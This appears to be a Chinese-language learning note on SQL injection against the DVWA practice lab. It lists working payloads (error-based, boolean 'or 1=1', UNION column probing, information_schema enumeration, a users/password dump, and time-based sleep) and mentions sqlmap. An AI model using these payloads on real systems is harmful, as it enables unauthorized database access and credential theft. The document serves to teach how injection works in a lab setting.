一、介绍
SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。
二、思路
1:寻找到SQL注入的位置
2:判断服务器类型和后台数据库类型
3:针对不同的服务器和数据库特点进行SQL注入攻击
准备的工具:
1,sqlmap
三、开始
1.1测试是否可以注入
1.1.1基于错误的注入
在搜索框里面输入
' 1
因为在后端代码里面显示的sql语句是这个
SELECT first_name, last_name FROM users WHERE user_id = ' ' 1 ';
学过mysql都看得出,这个语句是错误的,因此会报异常
1.1.2基于布尔的注入
在搜索框里面输入(注意最后面有个空格)
’ or 1=1 --
因为在后端代码里面显示的sql语句是这个
SELECT first_name, last_name FROM users WHERE user_id = ' ’ or 1=1 -- ';
这个用or连接了一个为真的true,搜索后会发现:将表里面的部分列全都搜出来了
1.1.3基于UNION的注入
在搜索框里面输入(注意最后面有个空格)
因为union查询时,后面查询的个数要和前面的数量相同,因此要进行探测,一个一个试,直到不报错,算是探测出来了,里面的数字起占位作用,没有实际意义
探测语句:
'union select 1 -- '
'union select 1,2 -- '
......
'union select 1,2,3,4,5 -- '
例如,用1个试试
报错了
用2个试试
成功了,所以得出结果就是前面的有2个
开始查询:(查询该数据库服务器包含了哪些数据库及数据库包含有哪些表格)
'union select table_schema,group_concat(table_name) from information_schema.tables group by table_schema -- '
看到dvwa库里面有两个表,我们看看其中一个表里面的列
'union select table_name,group_concat(column_name) from information_schema.columns where table_schema="dvwa" and table_name= "users" group by table_name -- '
这时候就可以查询这个表了,就可以拿到这个表的所有信息了,其他表同理
'union select 1,concat(user_id,' - ', first_name,' - ',last_name,' - ',user,' - ',password,' - ',avatar) from dvwa.users -- '
1.1.4基于时间的注入
' and sleep(5) -- '
如果发现5秒内,浏览器还没有请求到,就算是有漏洞
2.1 sqlmap自动化注入
看了一点皮毛,感觉还是需要花时间学,这个先跳过
四、总结
其实就是利用sql语句的漏洞进行拼接,进而获取想要的数据库信息